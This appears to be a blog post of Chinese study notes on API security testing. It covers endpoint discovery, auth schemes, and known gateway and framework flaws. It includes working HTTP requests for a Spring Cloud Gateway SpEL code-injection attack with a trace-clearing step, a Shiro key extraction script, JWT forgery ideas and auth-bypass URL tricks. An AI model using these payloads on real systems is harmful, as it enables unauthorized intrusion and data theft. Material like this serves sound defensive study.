API安全学习笔记

必要性

前后端分离已经成为web的一大趋势，通过Tomcat+Ngnix(也可以中间有个Node.js)，有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。
本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中，如有错误，还望各位斧正。

常见的api技术

GraphQL

GraphQL 是一个用于 API 的查询语言
通常有如下特征：
（1）数据包都是发送至/graphql接口
 


（2）其中包含了很多换行符\n

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

SOAP-WSDL

WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问

走的是SOAP协议，一般发送的xml格式的数据，然后会有WSDL文件
 


.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl
 


我们可以使用soapui对这类api进行测试

WADL

文件里面有很明显的wadl标志


同样也可以用soapui的rest功能进行测试

REST

rest api并不像前面几种那种特征明显，也是如今使用最多的一种api技术

REST 是一组架构规范，并非协议或标准。API 开发人员可以采用各种方式实施 REST。

当客户端通过 RESTful API 提出请求时，它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输：JSON（Javascript 对象表示法）、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言，尽管它的名字英文原意为“JavaScript 对象表示法”，但它适用于各种语言，并且人和机器都能读。 

还有一些需要注意的地方：头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要，因为其中包含了请求的元数据、授权、统一资源标识符（URI）、缓存、cookie 等重要标识信息。有请求头和响应头，每个头都有自己的 HTTP 连接信息和状态码。

获取端点的方式

对于api的一些安全测试，通常关注api的权限问题，api端点和基础设施的安全问题。
要测试api端点的安全问题，肯定得尽量获取多的api端点

swagger api-docs泄露

Swagger 是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务
常见指纹：

# swagger 2
/swagger-ui.html
/api-docs
/v2/api-docs

# swagger 3
/swagger-ui/index.html


/api-docs
/v2/api-docs
/v3/api-docs
...

api-docs可泄露所有端点信息
 


这里推荐两个工具进行测试
第一个是swagger-editor
https://github.com/swagger-api/swagger-editor
下载之后打开index.html就可以用，可以选择导入或者远程加载url，支持json和yaml格式的api-docs
 


第二个是apikit https://github.com/API-Security/APIKit
burp插件

graphql内省查询

获取所有端点信息
玩转graphQL

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}


我们可以用这个生成接口文档：
https://github.com/2fd/graphdoc
需要nodejs test.json是刚刚内省查询返回的json格式数据

npm install -g @2fd/graphdoc
graphdoc -s ./test.json -o ./doc/schema

然后我们打开生成的/doc/index.html
 


根据他这个格式构造数据包就行了
 

其他

在黑盒测试中，很大一个问题就是api端点找得不够全，我们需要从对应的应用或者从其他方面找
（1）web
js html等静态资源可以有一些api端点
burp插件JS LinkFinder可以被动收集
（2）app和其他客户端应用
（3）github
（4）根据规律fuzz

鉴权方式

Basic Auth

每次请求API时都提供用户的username和password
通常在http数据包中有一个Authorization头

Authorization: Basic base64(username:password)

这个安全性比较低，现在很少用到

JWT

jwt（json web token）是一种基于 Token 的认证授权机制
分为三部分

  • Header : 描述 JWT 的元数据，定义了生成签名的算法以及 Token 的类型。
  • Payload : 用来存放实际需要传递的数据
  • Signature（签名） ：服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法（默认是 HMAC SHA256）生成 防止 JWT被篡改

计算方式 加密算法( base64(header) + "." + base64(payload), secret)
 


在线测试https://jwt.io/
 


普通token需要后端存储与用户的对应关系，而JWT自身携带对应关系

其他自定义头、cookie

诸如apikey 或者随机生成的其他形式的token

常见安全问题及测试方法

api网关

API 网关是一个搭建在客户端和微服务之间的服务，我们可以在 API 网关中处理一些非业务功能的逻辑，例如权限验证、监控、缓存、请求路由等。

API 网关就像整个微服务系统的门面一样，是系统对外的唯一入口。有了它，客户端会先将请求发送到 API 网关，然后由 API 网关根据请求的标识信息将请求转发到微服务实例。

apisix

Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它兼具动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用。

apisix之前爆出过一个命令执行漏洞CVE-2022-24112 （目前最新版本是3.0）
影响范围：

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）

搭建漏洞环境

git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

利用条件

batch-requests插件默认开启状态。
用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。

攻击思路

1、利用batch-requests 插件漏洞、绕过请求头检测；
2、通过伪造请求头、向Admin API 注册路由；
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞

exp：
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

Spring Cloud Gateway

Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件

当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击
影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

这个漏洞本身是一个SpEL注入
攻击方法：
第一步 添加路由 value参数传入了执行cmd的el表达式

POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx.com:9090
User-Agent: xxx
Content-Length: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close

{
  "id": "AAAAAAAAAAAAAAAA",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}"
    }
  }],
  "uri": "http://xxx.com:9090/test/actuator/"
}

第二步 刷新配置

POST /test/actuator/gateway/refresh HTTP/1.1
Host: xxx:9090
User-Agent: xxx
Content-Length: 0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

第三步，获取命令执行结果

GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxxx:9090
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

清除痕迹：

DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

traefik

这个倒是没爆出过什么漏洞，实战中遇到过几次dashboard存在未授权访问的情况，
 


这个dashboard没法直接部署容器啥的
但是可以从它http->http routers这里看到一些路由转发规则，比如host path，对于后续的渗透有一些帮助，可以知道一些二级目录和域名
还有其他页面比如http services会泄露一些内网ip等等

actuator

未授权访问

默认只开放 health
 


如果在application.properties添加了

management.endpoints.web.exposure.include=*

或者application.yml添加

management:
  endpoints:
    web:
      exposure:
        #默认值访问health,info端点  用*可以包含全部端点
        include: "*"
  endpoint:
    health:
      show-details: always #获得健康检查中所有指标的详细信息

则会暴露所有端点(endpoints)
此时这些端点就存在未授权访问
 


利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
这里不再重复提及

heapdump获取shiro key

测试环境：https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
 


下载heapdump /actuator/heapdump
 


jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
打开heapdump， 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
 


然后双击这个类，找到key，右边是key的值
 


 


复制

-83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111

转换的python脚本：

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111)))


或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump

后端代码安全问题

api后端的应用也是由代码写出来的，各种web安全问题依旧会存在，比如sql注入 文件上传等等，这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞

越权

（1）参数污染
为单个参数提供多个值

GET /api/user?id={userid}
=>
GET /api/user?id={userid1}&id={userid2}

（2）附加特殊字符和随机字符串
简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符

/ %20、%09、%0b、%0c、%1c、%1d、%1e、%1f
GET /api/user/1
=>
GET /api/user/1%20

（3）添加查询参数
url中可能并没有参数，可以自己添加一些字段（可以是网站返回的，也可以是常见的一些比如id username等等）：
比如

GET /api/user
=>
GET /api/user?id=1
GET /api/user?userid=1
GET /api/user?username=1
...

（4）修改动作
常见有增删改查
比如

GET /api/edit/user/1
=>
GET /api/detele/user/1

PUT /api/user  新增
=>
DETELE /api/user/1 尝试删除

xxe

api为了兼容一些不同的应用场景比如小程序、app等等，可能会兼容不同的数据传输格式
比如之前一个银行的测试，接口传输数据采用的是json格式
 


将json格式数据改为xml格式时，发现存在xml外部实体注入漏洞（xxe）

鉴权绕过思路

伪造jwt token

有些网站，访问时会给你一个jwt token，但是payload部分很多字段是空的，这个时候可以去尝试去修改payload中，可能和身份认证相关的字段，伪造jwt token。
伪造就需要解决签名问题
（1）修改签名算法为none
（2）爆破签名的密钥
（3）伪造密钥
...
可以使用jwt_tool进行测试
https://github.com/ticarpi/jwt_tool

Spring-security 认证绕过漏洞

CVE-2022-22978
影响版本：
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

在spring-security中利用换行符可实现权限认证进行绕过，\r的URl编码为%0d，\n的URL编码为%0a
比如：
/admin/1 -> 需要认证
/admin/1%0d%0a -> 绕过认证

shiro权限绕过

举两个例子
（1）CVE-2020-1957
影响版本: shiro < 1.5.2
shiro与spring的URI中对;处理不同，导致绕过

比如http://127.0.0.1:8080/;/admin，shiro则是认为是访问http://127.0.0.1:8080/
比如http://127.0.0.1:8080/;/admin，spring则是认位是访问http://127.0.0.1:8080/admin
这就造成了与shiro处理⽅式的差异，shiro是直接截断后⾯所有部分，⽽spring只会截断【分号之后，斜杠之前】的部分

/admin/ -> 403
/;aaaa/admin/ -> 200
（2）CVE-2020-13933
影响版本: shiro < 1.6.0

访问/admin/index 需要认证
而/admin/%3bindex，能够绕过认证：

其他

这里就是一些经验之谈
（1）github、前端的js以及app中可能存在一些测试的token
（2）测试站点的凭据可能在正式站点上面也有效
（3）有些应用有toB toC不同的接口，在校验不严格的情况下，toC端的凭据可能能用在toB端的接口认证上，比如某次漏洞挖掘中小程序用户登录获取token，可以用在商家端的一些api绕过认证。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/944035.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

2011-2020年各省城镇职工基本医疗保险年末参保人数数据

2011-2020年各省城镇职工基本医疗保险年末参保人数数据

2011-2020年各省城镇职工基本医疗保险年末参保人数数据 1、时间&#xff1a;2011-2020年 2、来源&#xff1a;国家统计局 3、指标&#xff1a;省份、时间、城镇职工基本医疗保险年末参保人数 4、范围&#xff1a;31省 5、指标解释&#xff1a;参保人数指报告期末按国家有关…
阅读更多...
【蓝桥杯——物联网设计与开发】拓展模块4 - 脉冲模块

【蓝桥杯——物联网设计与开发】拓展模块4 - 脉冲模块

目录 一、脉冲模块 &#xff08;1&#xff09;资源介绍 &#x1f505;原理图 &#x1f505;采集原理 &#xff08;2&#xff09;STM32CubeMX 软件配置 &#xff08;3&#xff09;代码编写 &#xff08;4&#xff09;实验现象 二、脉冲模块接口函数封装 三、踩坑日记 &a…
阅读更多...
Kubernetes Gateway API-2-跨命名空间路由

Kubernetes Gateway API-2-跨命名空间路由

1 跨命名空间路由 Gateway API 具有跨命名空间路由的核心支持。当多个用户或团队共享底层网络基础设施时，这很有用，但必须对控制和配置进行分段，以尽量减少访问和容错域。 Gateway 和 Route(HTTPRoute,TCPRoute,GRPCRoute) 可以部署到不同的命名空间中，路由可以跨命名空间…
阅读更多...
Windows Powershell实战指南（未完成）

Windows Powershell实战指南（未完成）

目前只作简单了解&#xff0c;开始吧。 一、初识Powershell 目标 初步认识 Powershell和其集成环境 Ise&#xff0c;学会基本设置 实验 我们从简单的例子开始&#xff1a;希望你能从控制台和ISE的配置中实现相同的结果。然后按照下面五步进行。 &#xff08;1&#xff09;选…
阅读更多...
Android着色器SweepGradient渐变圆环，Kotlin

Android着色器SweepGradient渐变圆环，Kotlin

Android着色器SweepGradient渐变圆环&#xff0c;Kotlin import android.content.Context import android.graphics.Canvas import android.graphics.Color import android.graphics.Paint import android.graphics.Path import android.graphics.SweepGradient import android…
阅读更多...
项目上传到gitcode

项目上传到gitcode

首先需要在个人设置里面找到令牌 记住自己的账号和访问令牌&#xff08;一长串&#xff09;&#xff0c;后面git要输入这个&#xff0c; 账号是下面这个 来到自己的仓库 #查看远程仓库&#xff0c;是不是自己的云仓库 git remote -v # 创建新分支 git checkout -b llf # 三步…
阅读更多...
SAQ问卷的定义，SAQ问卷是什么？

SAQ问卷的定义，SAQ问卷是什么？

SAQ问卷&#xff0c;全称为可持续发展评估问卷&#xff08;Sustainability Assessment Questionnaire&#xff09;&#xff0c;是一种在线自评工具&#xff0c;其深远意义与广泛应用在当今商业环境中愈发凸显。它不仅是一种衡量企业在环境、社会和治理&#xff08;ESG&#xff…
阅读更多...
SpringBoot获取bean的几种方式

SpringBoot获取bean的几种方式

目录 一、BeanFactory与ApplicationContext的区别 二、通过BeanFactory获取 三、通过BeanFactoryAware获取 四、启动获取ApplicationContext 五、通过继承ApplicationObjectSupport 六、通过继承WebApplicationObjectSupport 七、通过WebApplicationContextUtils 八、通…
阅读更多...
web3基于zkEVM的L2扩容方案-Scroll

web3基于zkEVM的L2扩容方案-Scroll

项目简介 Scroll 是2021年由华人创始团队推出的 基于zkEVM 的 以太坊ZKR扩容方案&#xff0c;不同于zkSync的语言级别兼容&#xff0c;Scroll实现了完全EVM等效&#xff0c;即字节码层级兼容&#xff0c;除了数据结构和状态树等部分&#xff0c;zkEVM看起来与以太坊完全一样&a…
阅读更多...
深入浅出 Linux 操作系统

深入浅出 Linux 操作系统

深入浅出 Linux 操作系统 引言 在当今数字化的时代&#xff0c;Linux 操作系统无处不在。从支撑互联网巨头庞大的数据中心&#xff0c;到嵌入智能家居设备的微型芯片&#xff0c;Linux 都发挥着关键作用。然而&#xff0c;对于许多人来说&#xff0c;Linux 仍笼罩着一层神秘的…
阅读更多...
Python毕业设计选题：基于python的白酒数据推荐系统_django+hive

Python毕业设计选题：基于python的白酒数据推荐系统_django+hive

开发语言&#xff1a;Python框架&#xff1a;djangoPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 管理员登录 管理员功能界面 用户管理 白酒管理 系统管理 看板展示 系统首页 白酒详情…
阅读更多...
【赵渝强老师】MongoDB逻辑存储结构

【赵渝强老师】MongoDB逻辑存储结构

MongoDB的逻辑存储结构是一种层次结构&#xff0c;主要包括了三个部分&#xff0c;即&#xff1a;数据库&#xff08;Database&#xff09;、集合&#xff08;Collection&#xff0c;也可以叫做表&#xff09;和文档&#xff08;Document&#xff0c;也可以叫做记录&#xff09…
阅读更多...
Python数据可视化小项目

Python数据可视化小项目

英雄联盟S14世界赛选手数据可视化 由于本学期有一门数据可视化课程&#xff0c;课程结课作业要求完成一个数据可视化的小Demo&#xff0c;于是便有了这个小项目&#xff0c;课程老师要求比较简单&#xff0c;只要求熟练运用可视化工具展示数据&#xff0c;并不要求数据来源&am…
阅读更多...
继承超详细介绍

继承超详细介绍

一 、继承 1 继承的概念 继承是面向对象程序设计使得代码可以复用的最重要手段&#xff0c;它使得我们可以在原有类的特性的基础上进行扩展&#xff0c;增加方法和属性&#xff08;成员函数与成员变量&#xff09;&#xff0c;这样产生新的类&#xff0c;叫作派生类。继承呈现了…
阅读更多...
Numpy指南：解锁Python多维数组与矩阵运算（上）

Numpy指南：解锁Python多维数组与矩阵运算（上）

文章一览 前言一、nmupy 简介和功能二、numpy 安装三、numpy基本使用3.1、ndarray 对象3.2、基础数据结构 ndarray 数组3.3、ndarray 数组定义3.4、ndarray 数组属性计算3.5、ndarray 数组创建3.5.1 通过 array 方式创建 ndarray 数组3.5.2 通过 arange 创建数组3.5.3 通过 lin…
阅读更多...
C++：单例模式

C++：单例模式

创建自己的对象&#xff0c;同时确保对象的唯一性。 单例类只能有一个实例☞静态成员static☞静态成员 必须类外初始化 单例类必须自己创建自己的唯一实例 单例类必须给所有其他对象提供这一实例 静态成员类内部可以访问 构造函数私有化☞构造函数私有外部不能创建&#x…
阅读更多...
【火猫DOTA2】VP一号位透露队伍不会保留原阵容

【火猫DOTA2】VP一号位透露队伍不会保留原阵容

1、最近VP战队的一号位选手Kiritych在直播中透露,VP战队的阵容将会有新的变动,原有的阵容将不再保留。 【目前VP战队阵容名单如下】 一号位:Kiritych 二号位:squad1x 三号位:Noticed 四号位:Antares 五号位:待定 2、Spirit的战队经理Korb3n在直播时谈到了越来越多的职业选…
阅读更多...
FOC软件 STM32CubeMX 使用

FOC软件 STM32CubeMX 使用

1、安装-及相关软件版本 展示版本注意事项：keil MDK和STM32CubeMX版本至少要大于等于图中版本。 2、 Motor Profiler 5.2.0使用方法
阅读更多...
分布式 I/O 配合高冗余 PLC，打造高效控制新典范

分布式 I/O 配合高冗余 PLC，打造高效控制新典范

在当今工业自动化领域&#xff0c;高效且稳定的控制解决方案始终是企业追求的目标。而分布式 I/O 与高冗余 PLC 的完美配合&#xff0c;正如同强强联合的双子星&#xff0c;为工业生产带来了前所未有的高效控制体验&#xff0c;助力企业在激烈的市场竞争中脱颖而出。 MR30分布…
阅读更多...
Unity EasyAR入门教程

Unity EasyAR入门教程

文章目录 Easy不用下载盗版安装SDK注册应用ID最简单的识别注意点 Easy不用下载盗版 EasyAR可以免费试用&#xff0c;如果不在乎水印&#xff0c;直接去官网下载即可 EasyAR官网 安装SDK 先下载&#xff0c;官网找到下载页&#xff0c;如下选择 下载后不是普通的unityPackag…
阅读更多...
最新文章

Copyright @ 2022~2023